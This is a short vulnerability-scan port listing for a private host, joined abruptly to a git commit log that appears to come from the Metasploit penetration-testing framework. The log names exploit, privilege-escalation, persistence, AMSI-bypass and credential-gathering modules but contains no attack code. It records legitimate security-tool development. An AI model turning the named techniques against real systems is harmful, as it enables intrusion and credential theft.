<ports max="1000" start="1"><count>3</count>
  <port>general/tcp<host>192.168.8.100</host><severity>2.6</severity><threat>Low</threat></port>
  <port>general/CPE-T<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>general/icmp<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>445/tcp (IANA: microsoft-ds)<host>192.168.8.100</host><severity>9.3</severity><threat>High</threat></port>
  <port>139/tcp (IANA: netbios-ssn)<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>135/tcp (IANA: epmap)<host>192.168.8.100</host><severity>5.0</severity><threat>Medium</threat></port>
</ports>
2020-01-11 15:15:56 -06:00
kalba-security 03d6d1aed5 Add citrix_directory_traversal module to /modules/auxiliary/scanner/http/ 2020-01-11 22:45:00 +02:00
L 0876b8e7d7 enhancement payload generate raw 2020-01-11 19:43:04 +08:00
Metasploit d507612817 automatic module_metadata_base.json update 2020-01-10 02:40:26 -06:00
Tim W 2ea5bd139a Land #12792, Fix #12791, check for nil response on connection failure in efs_fmws_userid_bof 2020-01-10 16:31:32 +08:00
L 7f82816065 Add description udp listening information 2020-01-10 14:58:36 +08:00
bluesentinelsec 7eeb8c33eb Added new post exploitation module: 'Install OpenSSH for Windows' 2020-01-09 19:58:31 -05:00
Adam Cammack 8b18f86169 Land #12806, Properly invoke bundler in Dockerfile 2020-01-09 13:57:56 -06:00
Metasploit 43daaa9ce5 Bump version of framework to 5.0.69 2020-01-09 12:05:24 -06:00
Jeffrey Martin c169598819 Need to force on bunlde when using clean. 2020-01-09 11:28:43 -06:00
Metasploit fd28cdbb89 automatic module_metadata_base.json update 2020-01-09 09:23:05 -06:00
Tim W 2568f86d57 Land #12804, add support for macOS in web_delivery 2020-01-09 23:12:37 +08:00
Francesco Soncina abb95ef465 feat(web_delivery): use disown on linux too 2020-01-09 15:02:04 +01:00
Francesco Soncina 1f191bc73e feat: support osx in web_delivery 2020-01-09 14:59:47 +01:00
Metasploit 8e4ddf1b2b automatic module_metadata_base.json update 2020-01-09 07:38:01 -06:00
Tim W dabd0df81a Land #12799, fix python web_delivery when SSL=true 2020-01-09 21:28:42 +08:00
Jacob Baines caa02c7d2e Added exploit module for CVE-2019-3929 2020-01-09 08:03:52 -05:00
Francesco Soncina 542f582fed fix: ignore SSL cert in python web_delivery 2020-01-08 13:22:03 +01:00
Tim W 6cb1feb2a6 Land #12779, Fix #12777, add PrependSetuid and PrependSetresuid on armle 2020-01-07 14:47:56 +08:00
Tim W 13a7bf17e2 fix asm comments 2020-01-07 14:45:41 +08:00
zerosum0x0 b76f2a9e08 inject mouse move events, verbose groom progress/elapsed time, danger zone warnings 2020-01-06 23:42:01 -07:00
Leo Le Bouter 756879d3d6 Fix msftidy 2020-01-06 18:14:58 +01:00
Brendan Coles c2a12949a0 Add lwp-request CmdStager 2020-01-06 16:47:17 +00:00
leo-lb f1ae217bb0 Single-core machines are safe from this exploit. 2020-01-06 05:21:51 +01:00
Brendan Coles 326fd26219 Check for nil response due to connection failure 2020-01-05 21:39:34 +00:00
Dhiraj Mishra 8034db2c5f Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:46 +04:00
Dhiraj Mishra 13b72282a6 Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:38 +04:00
Dhiraj Mishra 4b9685005e Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:03 +04:00
Dhiraj Mishra da06ecc83b Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:52:47 +04:00
h00die 4d273a94b6 cleanup spaces at eol 2020-01-04 13:51:56 -05:00
h00die 0edaf1fc54 add optimize kernel to hashcat 2020-01-04 13:38:48 -05:00
Brendan Coles 30e86f3779 Land #12788, Add rds_rds_page_copy_user_priv_esc re-exploitation notes 2020-01-04 18:24:55 +00:00
Brendan Coles 424d869b2f Land #12785, Fix aux/scanner/telnet/telnet_login prompt parsing regex 2020-01-04 17:55:27 +00:00
h00die f822a13926 update rds docs 2020-01-04 12:47:36 -05:00
h00die 22a1c09715 fix telnet login with a / in it being parsed as a regex 2020-01-04 10:50:47 -05:00
Brendan Coles c8fb76182c Use PROGRAMDATA environment variable 2020-01-03 20:32:01 +00:00
Brendan Coles b3e9d9aee9 Add Plantronics Hub SpokesUpdateService Privilege Escalation 2020-01-03 20:13:27 +00:00
Nicholas Starke dd240e335c Minor formatting fixes for Setuid 2020-01-03 09:51:54 -06:00
Nicholas Starke 4aaca5031b Adding ARMLE Support for PrependSetresuid 2020-01-03 09:49:40 -06:00
Nicholas Starke 1b72d80dd2 Adding PrependSetuid support for ARMLE Targets
This commit adds support for PrependSetuid for ARMLE targets to
msfvenom.  I tested the output binaries successfully on a
Raspberry Pi.
2020-01-03 08:03:54 -06:00
Metasploit add7e844b0 Bump version of framework to 5.0.68 2020-01-02 12:03:33 -06:00
Brent Cook 30ddabba92 add PROTOCOL option for sunrpc_portmapper 2020-01-02 09:52:18 -06:00
Dhiraj Mishra e23c67d129 tvt_nvms_traversal.md 2020-01-01 15:34:04 +05:30
Dhiraj Mishra 1263292cde tvt_nvms_traversal.rb 2020-01-01 15:06:18 +05:30
secenv 0d592a3fca Replace send_request_cgi with send_request_raw
msftidy complains about not using vars_get... Which won't work in this case.
2019-12-31 13:36:09 -03:00
secenv b6731a6d1c Remove printf as flavor
There is no printf in this router.
2019-12-31 13:10:59 -03:00
secenv bedb1132b7 Convert to staged exploit
Works with meterpreter now :D
2019-12-31 13:08:51 -03:00
secenv 5f2c29946c Remove the prompt variable + some EOL spaces; modify rand()
As suggested by @bcoles
2019-12-31 11:19:59 -03:00
secenv 2eec026a28 D-Link DIR-859 Unauthenticated RCE (CVE-2019-17621)
Exploits a vulnerability in the /gena.cgi UPnP endpoint in D-Link DIR-859 (and potentially other) SOHO routers. CVE ID: 2019-17621.
Code based on modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
2019-12-30 19:22:04 -03:00
Metasploit cd566846dd automatic module_metadata_base.json update 2019-12-27 04:04:24 -06:00
Brent Cook e8cd136e56 Land #12712, add OpenBSD Dynamic Loader chpass privesc 2019-12-27 03:56:02 -06:00
Metasploit d2e2dcf85e automatic module_metadata_base.json update 2019-12-26 13:59:49 -06:00
Brent Cook f4a0ef2ee9 Land #12640, improve Wordpress check versions
Merge remote-tracking branch 'upstream/pr/12640' into upstream-master
2019-12-26 13:47:04 -06:00
Brent Cook 8061cdf974 Land #12760, improvements to linux/local/bpf_priv_esc module 2019-12-26 13:43:54 -06:00
Brent Cook 4de482f57a Land #12433, add Metasploit reverse_http handler DoS module 2019-12-26 13:40:14 -06:00
Brent Cook d87f752591 add module docs 2019-12-26 13:31:38 -06:00
Brent Cook b177a8235d adjust indentation 2019-12-26 13:05:21 -06:00
Brent Cook 3dac95ed32 fix enumeration handling 2019-12-26 13:00:52 -06:00
Metasploit 03971e9607 Bump version of framework to 5.0.67 2019-12-26 12:04:30 -06:00
Brendan Coles a7b63557db Notify operator that cleanup of crontab is required 2019-12-26 16:21:44 +00:00
Brendan Coles d449a93b44 Add Msf::Post::File.attributes method 2019-12-25 07:34:44 +00:00
Brendan Coles f04cf4f544 Randomize Msf::Post::File _write_file_unix_shell test_str 2019-12-25 05:15:33 +00:00
Metasploit 75dc82f764 automatic module_metadata_base.json update 2019-12-23 19:21:25 -06:00
wvu-r7 e89a596e5c Land #12754, ForceExploit for 4.3BSD exploits 2019-12-23 19:13:42 -06:00
William Vu 01b6bc112d Rescue EOFError for good measure 2019-12-23 19:02:13 -06:00
William Vu 81f8f4f67f Add ForceExploit to 4.3BSD (VAX) exploits 2019-12-23 18:17:09 -06:00
Metasploit 337d18d35c automatic module_metadata_base.json update 2019-12-23 14:57:22 -06:00
Brent Cook ce991071e4 Land #12524, update most python code with python 3 compatibility 2019-12-23 14:49:08 -06:00
Metasploit 341807729c automatic module_metadata_base.json update 2019-12-22 09:30:53 -06:00
h00die 4f8382fc98 Land #12744, rds lpe updates and improvements 2019-12-22 10:21:03 -05:00
h00die 4e1e8d344f rds reliability, stability notes 2019-12-22 10:20:00 -05:00
Brendan Coles 4c0fc3a505 Add OpenBSD Dynamic Loader chpass Privilege Escalation (CVE-2019-19726) 2019-12-22 08:46:43 +00:00
Metasploit 0c4de2d891 automatic module_metadata_base.json update 2019-12-21 14:58:31 -06:00
h00die 7a027216cc Land #12701 linux priv esc on reptile_cmd rootkit 2019-12-21 15:50:07 -05:00
h00die 01af23df26 Land #12750, haKCers.txt banner update 2019-12-21 07:37:16 -05:00
h00die 155a2eb74a Land #12707, more module docs 2019-12-21 07:15:10 -05:00
h00die 6b746e332f module doc formatting 2019-12-21 07:14:25 -05:00
Brent Cook 20e6568f00 revert killerbee to python2 2019-12-20 09:44:29 -06:00
Cory Kennedy a8f8502d19 Update haKCers.txt
Corrected minor (but major - sorry!) transposition error on line 18.
2019-12-20 09:05:49 -06:00
Metasploit e0374955a3 Bump version of framework to 5.0.66 2019-12-19 12:09:27 -06:00
Onur ER a45e4b6d37 Update lib/rex/proto/http/client_request.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-19 20:43:30 +03:00
Brent Cook d50058cbc6 update to python standards 2019-12-19 09:22:48 -06:00
Brent Cook e8bbf2f117 fix remaining python3 compat bugs 2019-12-19 09:21:24 -06:00
Brent Cook 0a846aaeb6 convert to standard python format 2019-12-19 08:59:36 -06:00
Brent Cook 3cc6b8f8fd update to standard python formatting 2019-12-19 08:58:40 -06:00
Brent Cook d64f53e462 don't hide exception data 2019-12-19 08:56:23 -06:00
Brent Cook ce69efcfa2 python3 fixes, don't hide exception data 2019-12-19 08:56:00 -06:00
Brent Cook 3a1a576747 remove nasm ignored keyword 2019-12-19 08:44:13 -06:00
Brent Cook 25ce890d36 fix remaining python3 compat issues, add #! 2019-12-19 08:44:02 -06:00
Metasploit 1d351daf00 automatic module_metadata_base.json update 2019-12-18 15:51:28 -06:00
Shelby Pace 894927d960 Land #12693, add Comahawk privilege escalation 2019-12-18 15:40:51 -06:00
Brendan Coles fce750147c Update documentation 2019-12-18 20:46:25 +00:00
Brendan Coles af462ffb0d Move documentation 2019-12-18 20:36:14 +00:00
bwatters-r7 b36c191fc7 With feeling... 2019-12-18 14:33:13 -06:00
bwatters-r7 f9fbe96145 more bcoles suggestions 2019-12-18 14:25:43 -06:00
Brendan Coles c0da9e2202 Rename exploit/linux/local/rds_priv_esc -> exploit/linux/local/rds_rds_page_copy_user_priv_esc 2019-12-18 20:05:19 +00:00
Metasploit 4a5b8c6230 automatic module_metadata_base.json update 2019-12-18 12:22:48 -06:00
wvu-r7 d61872f8ba Land #12742, bsd/vax/shell_reverse_tcp style fix 2019-12-18 12:14:43 -06:00
William Vu b81d78c7a5 Fix style in bsd/vax/shell_reverse_tcp payload 2019-12-18 12:11:56 -06:00
Francesco Soncina 671f80896a Update payload_inject.rb 2019-12-18 16:06:26 +01:00
Francesco Soncina 988971bd94 Update shellcode_inject.rb 2019-12-18 16:05:37 +01:00
Kenneth LaCroix d8c93b9e18 Update enum_logged_on_users.md 2019-12-17 20:50:07 -07:00
Kenneth LaCroix 473dcd5359 Create phish_windows_credentials.md 2019-12-17 18:55:45 -07:00
Pearce Barry 4cc12f1890 Land #12740, Remove method call side-effects 2019-12-17 18:17:34 -06:00
Jeffrey Martin e727c15ef5 Land #12677, Better error when JtR not adequate 2019-12-17 15:55:32 -06:00
Brent Cook 843f481923 Land #12738, add support for Mdm::Module::Ref objects when linking refs to vulns 2019-12-17 14:30:39 -06:00
Jeffrey Martin 0aaa4265be do not remove workspace needed for other reports 2019-12-17 14:11:59 -06:00
Jeffrey Martin e5ce6dc8de do not delete workspace reference 2019-12-17 14:11:58 -06:00
Jeffrey Martin aaddc9d8a5 don't rely on side-effects in db util function 2019-12-17 14:11:58 -06:00
Brent Cook 7386f66de5 Land #12737, further improvements to CheckModule mixin 2019-12-17 13:29:18 -06:00
Jeffrey Martin 31ed5d553f ensure ref name exists 2019-12-17 11:00:00 -06:00
Francesco Soncina f22c6f2f63 add support for PPID spoofing to migrate 2019-12-17 16:39:18 +01:00
Tim W 58bf71d555 simplify amsi resource url 2019-12-17 17:35:29 +08:00
Metasploit 2820a14dcb automatic module_metadata_base.json update 2019-12-16 19:57:59 -06:00
William Vu c43106216f Improve error handling 2019-12-16 19:51:50 -06:00
William Vu 11b8ef006c Return CheckCode associated with RHOST 2019-12-16 19:51:50 -06:00
William Vu 1f0d491a4f Add print saying what module 2019-12-16 19:51:50 -06:00
William Vu 442f36e466 Complete refactor of CheckModule 2019-12-16 19:51:50 -06:00
wvu-r7 7ce2c63935 Land #12702, has_check? for modules 2019-12-16 19:50:19 -06:00
Francesco Soncina f9d2f9fa2e Update shellcode_inject.rb 2019-12-17 01:42:52 +01:00
Francesco Soncina 664b196388 Update payload_inject.rb 2019-12-17 01:35:24 +01:00
Francesco Soncina cbd225dfed Update shellcode_inject.rb 2019-12-17 01:34:12 +01:00
Francesco Soncina 5c7c071094 add support for PPID spoofing to shellcode_inject 2019-12-17 01:31:40 +01:00
Francesco Soncina 64c1f557c6 add support for PPID spoofing to payload_inject 2019-12-17 01:19:45 +01:00
Francesco Soncina 30dcc3d78f add support for ParentPid 2019-12-17 01:04:55 +01:00
Brent Cook 4595dcd815 Land #12735, Add smcintyre-r7 to the .mailmap file 2019-12-16 17:51:45 -06:00
Metasploit ca2fa68452 automatic module_metadata_base.json update 2019-12-16 17:50:29 -06:00
Brent Cook fde942bc37 Land #12517, replace CheckScanner mixin with CheckModule, which works with anything 2019-12-16 17:40:10 -06:00
Jeffrey Martin b786a44c2e support Mdm::Module::Ref object when linking vulns 2019-12-16 17:16:01 -06:00
Spencer McIntyre 8f31360a8c Add smcintyre-r7 to the .mailmap file 2019-12-16 17:09:56 -06:00
William Vu 14b6282e51 Update other error to CheckCode message 2019-12-16 13:43:00 -06:00
wvu-r7 f23ec6bc88 Add instantiation error to CheckCode
It's better here, now that it's supported.

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-16 13:32:56 -06:00
wvu-r7 7c071d2254 Remove instantiation error
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-16 13:28:34 -06:00
Onur ER b29523fc2a Added Array Handling
Handle the repeated key query string 
https://github.com/rapid7/metasploit-framework/pull/12704#discussion_r357748834
2019-12-16 22:01:32 +03:00
bwatters-r7 66dcbc5d99 Stupid typo... 2019-12-16 12:54:48 -06:00
bwatters-r7 06bcef3670 bcoles suggested chganges 2019-12-16 12:50:41 -06:00
Pearce Barry fe3a6a30b5 Add missing 'JtR' match back in, strip trailing char. 2019-12-16 12:28:50 -06:00
Metasploit c6bae91b9d automatic module_metadata_base.json update 2019-12-16 11:47:59 -06:00
Brent Cook 9cc02cb51f Land #12643, add additional example exploit modules 2019-12-16 11:34:33 -06:00
Brent Cook e1e668d7da Land #12651, add OpenMRS deserialization exploit 2019-12-16 11:31:24 -06:00
Brent Cook 9f99ab50bd Land #12732, lock rubygems for Travis and Docker unbreaking builds 2019-12-16 11:29:08 -06:00
Jeffrey Martin e18016b5f0 also lock rubygems in Travis for now 2019-12-16 10:53:08 -06:00
Jeffrey Martin f1db8caa79 lock rubygems version for Docker image
Latest rubygems release for 3.1.0 vendors bundler 2.1.0 creating
compatibilty issues.  Lock for now until all relates issues can be
addressed.
2019-12-16 10:05:07 -06:00
Brent Cook 90bb65b756 Land #12711, return correct values for credential proxy methods 2019-12-16 09:00:38 -06:00
Pearce Barry 70fc02863b Update regex to work across more JtR versions. 2019-12-16 08:35:10 -06:00
Metasploit eb712c6cda automatic module_metadata_base.json update 2019-12-16 02:29:45 -06:00
Christophe De La Fuente 42a60034f2 Land #12725, Bash profile persistence module 2019-12-16 09:19:08 +01:00
Kenneth LaCroix ba25cb3b31 Update enum_patches.md 2019-12-15 16:46:55 -07:00
Kenneth LaCroix 4b221a497e OS 2019-12-15 16:45:57 -07:00
Metasploit 2a4e04f3cd automatic module_metadata_base.json update 2019-12-15 06:18:12 -06:00
h00die 1ff925eac9 Land #12727, netfilter_priv_esc_ipv4 improvements 2019-12-15 07:07:40 -05:00
Metasploit 93c8855fe3 automatic module_metadata_base.json update 2019-12-15 05:36:28 -06:00
h00die eb8814d5fe Land #12697, module docs 2019-12-15 06:25:44 -05:00
h00die 3da716b21a numbering fix 2019-12-15 06:25:07 -05:00
Brendan Coles dd41892123 Update netfilter_priv_esc_ipv4 exploit 2019-12-15 07:17:42 +00:00
bluesentinelsec c43330934b New module: Bash Profile Persistence 2019-12-14 21:40:18 -05:00
Kenneth LaCroix 3257b8b4cc enum_patches 2019-12-14 15:58:45 -07:00
Kenneth LaCroix b007eea2b8 Update screen_spy.md 2019-12-14 14:37:59 -07:00
Kenneth LaCroix 244a8ec136 More formatting 2019-12-14 13:53:01 -07:00
Kenneth LaCroix dc02f5752d More formatting. 2019-12-14 13:46:46 -07:00
Francesco Soncina a3a25b193e serve AMSI/SBL bypass separately 2019-12-14 19:49:53 +01:00
Francesco Soncina e0a3af39aa expose bypass_powershell_protections 2019-12-14 19:48:53 +01:00
Francesco Soncina c8d4dfee7e http-server: fix bug with random uris 2019-12-14 19:47:06 +01:00
Onur ER 3be3a398ae Update and rename documentation/modules/exploit/linux/http/opennetadmin_ping_cmd_injection.md to documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md 2019-12-14 16:33:13 +03:00
Onur ER 548abf4364 Rename modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb to modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb 2019-12-14 16:26:19 +03:00
Onur ER 44636f4975 Update opennetadmin_ping_cmd_injection.rb 2019-12-14 16:24:27 +03:00
Metasploit 8b09cd6cb7 automatic module_metadata_base.json update 2019-12-13 16:51:58 -06:00
h00die 5fc561e916 Land #12661, more docs 2019-12-13 17:42:36 -05:00
bwatters-r7 6538a4188d Space-suggested updates 2019-12-13 15:25:01 -06:00
Jeffrey Martin 10770b40a3 less code same result 2019-12-13 14:09:03 -06:00
Kenneth LaCroix 69fe5494c3 Create enum_logged_on_users.md 2019-12-13 12:52:29 -07:00
Kenneth LaCroix 1cd8e56561 Formatting 2019-12-13 11:34:00 -07:00
Kenneth LaCroix b1f68d18e2 Formatting 2019-12-13 11:26:43 -07:00
Onur ER 7730c5359d Update modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-13 16:39:17 +03:00
Kenneth LaCroix 59d9834432 Merge pull request #1 from h00die/land-12661
doc touchup
2019-12-13 04:20:53 -07:00
Adam Galway f8b8dc1c80 improve dertermining module check support 2019-12-13 11:02:21 +00:00
Tim W 4dda0a8e40 Land #12714, fix encrypted_shell warning 2019-12-13 13:42:59 +08:00
Kenneth LaCroix c103e87f03 Create screen_spy.md, Update tcpnetstat.md 2019-12-12 22:07:07 -07:00
Kenneth LaCroix f26d322533 Create tcpnetstat.md 2019-12-12 22:00:47 -07:00
h00die a945095ddf doc touchup 2019-12-12 16:58:14 -05:00
Metasploit 7679083e4f automatic module_metadata_base.json update 2019-12-12 15:29:15 -06:00
bwatters-r7 6be4729a02 Land #12391, Add shellcode_inject post module
Merge branch 'land-12391' into upstream-master
2019-12-12 15:20:51 -06:00
bwatters-r7 fb5c896d40 Streamline Checks and error for channelized comms before injection 2019-12-12 15:19:17 -06:00
Metasploit fa86c67f2b automatic module_metadata_base.json update 2019-12-12 13:21:09 -06:00
Christophe De La Fuente 87373ccc84 Land #12486, Small changes to the host_header_injection aux module 2019-12-12 20:11:37 +01:00
Jeffrey Martin 9d89fc2eba clone options & return login object not core 2019-12-12 12:47:45 -06:00
Shelby Pace 15294550ed add require 2019-12-12 12:24:47 -06:00
Metasploit f83d08ed51 Bump version of framework to 5.0.65 2019-12-12 12:07:33 -06:00
Shelby Pace 1e3158e129 Land #12699, add payload uuid/temp file fixes 2019-12-12 10:49:15 -06:00
Shelby Pace 35075d5c7f add strip and update payload cached sizes 2019-12-12 10:43:04 -06:00
Metasploit 8977d2a213 automatic module_metadata_base.json update 2019-12-12 10:26:58 -06:00
Jeffrey Martin e416f0d886 Land #12363, Adding Chrome Debugger Gather Auxiliary Module 2019-12-12 10:13:51 -06:00
Nicholas Starke db05b11fae Uppercasing Parameters and Dregistering Options
This commit uppercases all default parameters and de-registers
certain options like SSL and VHOST.
2019-12-12 09:57:10 -06:00
Metasploit 13eee43d54 automatic module_metadata_base.json update 2019-12-12 09:26:00 -06:00
Brendan Coles d7f1c9a4a9 Land #12696, Add AKA references to several modules 2019-12-12 15:28:21 +00:00
Brent Cook b3bb0efa62 update payload sizes (apparently this is a compiler version-dependent) 2019-12-12 09:23:25 -06:00
Brent Cook d9a3ef51e5 further path and extension handling improvements 2019-12-12 09:23:05 -06:00
bwatters-r7 7e05642a1b Randomize container name 2019-12-12 07:48:01 -06:00
bwatters-r7 0257861c4f Remove debug statements and extra c/ruby libraries 2019-12-11 18:42:36 -06:00
Kenneth LaCroix efdc838d16 Create enum_devices.md 2019-12-11 16:20:51 -07:00
Kenneth LaCroix e3edff8494 Create dumplinks.md 2019-12-11 16:06:43 -07:00
Kenneth LaCroix c4e304574c Update enum_applications.rb 2019-12-11 14:10:48 -07:00
Kenneth LaCroix 142096d34b Update enum_applications.md 2019-12-11 14:10:10 -07:00
Kenneth LaCroix 910be567be Create dnscache_dump.md 2019-12-11 14:08:55 -07:00
Kenneth LaCroix 038ecb38ad Create cachedump.md 2019-12-11 13:59:53 -07:00
Kenneth LaCroix 0a31e3b909 Update bitlocker_fvek.rb
Fix spelling errors.
2019-12-11 13:39:25 -07:00
Kenneth LaCroix 237c1c68a1 Update bitlocker_fvek.md 2019-12-11 13:37:49 -07:00
Kenneth LaCroix a8d8c71c29 Create bitlocker_fvek.md 2019-12-11 13:36:20 -07:00
Metasploit aa9fbed5e9 automatic module_metadata_base.json update 2019-12-11 14:01:47 -06:00
wvu-r7 f9888dd065 Land #12703, RHOST(S) and RPORT for SSH mixin
Also fixes a typo in exploit/linux/ssh/solarwinds_lem_exec.
2019-12-11 13:53:20 -06:00
William Vu f31930748b Remove RHOST from solarwinds_lem_exec
This doubles as a test.
2019-12-11 13:42:41 -06:00
William Vu ce0f08d064 Register RHOST(S) and RPORT in SSH mixin 2019-12-11 13:41:32 -06:00
Rob Fuller 5eb90d758f Update modules/exploits/linux/ssh/solarwinds_lem_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-11 13:44:37 -05:00
Onur ER f94726a794 Added Module Documentation
Added OpenNetAdmin 18.1.1 Exploit Documentation
2019-12-11 21:08:27 +03:00
Onur ER 02a87befc3 Added OpenNetAdmin 18.1.1 exploit
OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
This module exploits a command injection in OpenNetAdmin.
2019-12-11 21:05:02 +03:00
Rob Fuller 002b9e5b90 Fix typo and lacking RHOST
Kinda need a RHOST to use a RCE...
2019-12-11 12:17:53 -05:00
Kenneth LaCroix 2e854f2d9a Create arp_scanner.md 2019-12-11 09:52:35 -07:00
Kenneth LaCroix 4fe0064756 Update enum_applications.md 2019-12-11 09:42:33 -07:00
Kenneth LaCroix b6ac86dc23 Update group_policy_startup.rb 2019-12-11 09:41:08 -07:00
Kenneth LaCroix b99d632b7d Update enum_applications.md 2019-12-11 09:30:18 -07:00
Adam Galway affbd70585 Merge branch 'master' into search-check-fix 2019-12-11 13:45:19 +00:00
Nicholas Starke 16910f7e02 Parameter Checks and Success Messaging
This commit adds additional parameter checks for nil and adds
a little more descriptive success message that includes the path
to the loot storage location.
2019-12-11 07:35:55 -06:00
Adam Galway debded62e3 add has_check? to Module & Scanner classes 2019-12-11 13:26:32 +00:00
h00die 8cb58be4c0 style 2019-12-11 06:44:35 -05:00
Metasploit 6d35d363fe automatic module_metadata_base.json update 2019-12-11 00:51:23 -06:00
Brendan Coles f2eb73407a Land #12662, Update post/multi/gather/gpg_creds to support GPG v2.1+ keys 2019-12-11 06:53:57 +00:00
Brendan Coles 1ebfe6c284 Add Reptile Rootkit reptile_cmd Privilege Escalation 2019-12-11 06:48:51 +00:00
John Kollross 9a0c1331ec Update apache_userdir_enum.md 2019-12-10 20:59:54 -06:00
John Kollross 6533cb877f Update apache_userdir_enum.md 2019-12-10 20:58:25 -06:00
John Kollross d314226745 Update apache_userdir_enum documentation 2019-12-10 20:58:14 -06:00
Brent Cook c55105c526 add compiled payload sizes, don't generate on framework boot 2019-12-10 19:06:01 -06:00
Brent Cook 19122f9345 fix regression in #12691
ake sure for non sends-hex case that we use the right variable name for
parsing the raw UUID bytes.
2019-12-10 19:05:01 -06:00
Brent Cook 1c91a737d9 default to deleting temp C and .exe files 2019-12-10 19:04:39 -06:00
Brent Cook e40c64415a Use temporary file paths
Use Tempfile for building intermediate source and exe files with
compiled payloads.
2019-12-10 19:03:38 -06:00
bwatters-r7 942d1e3962 Trim exploit code and de-pasta-fy module
Better check for build number
2019-12-10 18:09:08 -06:00
Kenneth LaCroix 5d09138a55 Create enum_applications.md 2019-12-10 14:27:58 -07:00
Kenneth LaCroix f0ac300338 h00die review
Thanks h00die for the in depth review, as always.
2019-12-10 13:37:13 -07:00
Metasploit ddfeff4a0d automatic module_metadata_base.json update 2019-12-10 12:21:21 -06:00
Shelby Pace a4ed143af6 Land #12364, add vBulletin widgetconfig RCE 2019-12-10 12:12:47 -06:00
Shelby Pace 19169bc9b2 remove executable permissions 2019-12-10 12:10:04 -06:00
Shelby Pace ab6f77ce63 add reference 2019-12-10 11:47:48 -06:00
Shelby Pace dd2a6f77e3 remove unused opts 2019-12-10 11:32:46 -06:00
Jeffrey Martin 662a040154 Revert "Land #12695, Fix incorrect check status for aux modules returned by search"
This reverts commit 7bac2f7618, reversing
changes made to 049986c59a.
2019-12-10 10:24:10 -06:00
Jeffrey Martin 7bac2f7618 Land #12695, Fix incorrect check status for aux modules returned by search 2019-12-10 10:03:27 -06:00
Metasploit 049986c59a automatic module_metadata_base.json update 2019-12-10 09:44:27 -06:00
Adam Galway 2448914b24 Land 12680, fixes small typo in dns_fuzzer.rb 2019-12-10 15:36:05 +00:00
h00die 3b2a54a599 add aka to some modules 2019-12-10 09:53:13 -05:00
h00die bf99dd820a remove 50char title line 2019-12-10 09:32:34 -05:00
Adam Galway 073f956578 avoids Scanner methods when reading for check 2019-12-10 14:21:17 +00:00
Kenneth LaCroix 5e3974992c Create adobe_embedded_pdf.md and adobe_utilprintf.md. Update adobe_geticon.md and adobe_reader_u3d.md. 2019-12-09 21:29:06 -07:00
Metasploit 6df148c2da automatic module_metadata_base.json update 2019-12-09 21:06:19 -06:00
William Vu b88f5adf77 Land #12498, new post/bsd/gather/hashdump module 2019-12-09 20:58:10 -06:00
Metasploit df269c591c automatic module_metadata_base.json update 2019-12-09 20:55:41 -06:00
William Vu bef637bc68 Land #12666, bypassuac_silentcleanup %WINDIR% fix 2019-12-09 20:48:38 -06:00
Metasploit aca3674412 automatic module_metadata_base.json update 2019-12-09 20:21:21 -06:00
William Vu cd9a95fcc8 Land #12577, once more with feeling 2019-12-09 20:10:04 -06:00
William Vu 42c8420f5a Fix style 2019-12-09 20:09:52 -06:00
William Vu 871b295111 Land #12614, post/multi/gather/ssh_creds fixes 2019-12-09 19:59:32 -06:00
Metasploit aa9396daee automatic module_metadata_base.json update 2019-12-09 19:57:27 -06:00
William Vu 7b1d54fc26 Land #12577, redis_unauth_exec fixes 2019-12-09 19:37:53 -06:00
bwatters-r7 8a9dd35793 First draft of windows comahawk priv esc 2019-12-09 19:09:15 -06:00
Metasploit 76f136f70a automatic module_metadata_base.json update 2019-12-09 13:11:24 -06:00
Brent Cook 0589b60033 Land #12647, add back executable check to msftidy 2019-12-09 13:04:30 -06:00
Brent Cook 8bc66b3510 Land #12679, remove never-used file_local_digest* methods 2019-12-09 12:51:17 -06:00
Brent Cook f0be57e1ed Land #12673, fix error in rpc_creds method 2019-12-09 12:48:50 -06:00
Metasploit 7420dd5e39 automatic module_metadata_base.json update 2019-12-09 09:01:48 -06:00
Brent Cook a30272e262 Land #12686, raise BadCharError instead of EncodingError with xor_dynamic encoder 2019-12-09 08:47:40 -06:00
Brent Cook 65054705d7 Land #12689, add iis_internal_ip references 2019-12-09 08:46:05 -06:00
Brent Cook 8b4ce3f6f7 Land #12561, First round of memory performance enhancements 2019-12-09 08:42:39 -06:00
FenixH 24431f0fae Merge remote-tracking branch 'upstream/master' 2019-12-09 11:21:52 +01:00
Metasploit 644339fafc automatic module_metadata_base.json update 2019-12-09 04:18:54 -06:00
FenixH 056dd6baec rpc_creds fix 2019-12-09 11:14:06 +01:00
Tim W 3200781292 Land #12446, add powershell AMSI bypass to web_delivery 2019-12-09 18:03:54 +08:00
h00die ca9a1709bf iis internal ip references 2019-12-08 16:15:48 -05:00
h00die 6fbab50b9d iis internal ip references 2019-12-08 16:11:57 -05:00
Francesco Soncina 6b2bb24ba1 use BadcharError instead of EncodingError
fixes #12685
2019-12-08 02:39:57 +01:00
Brendan Coles 8f19c8a82a Prefer English over French spelling 2019-12-07 08:01:52 +00:00
Brendan Coles 121a9a52ac Remove Post API crypto methods for local files 2019-12-07 05:12:51 +00:00
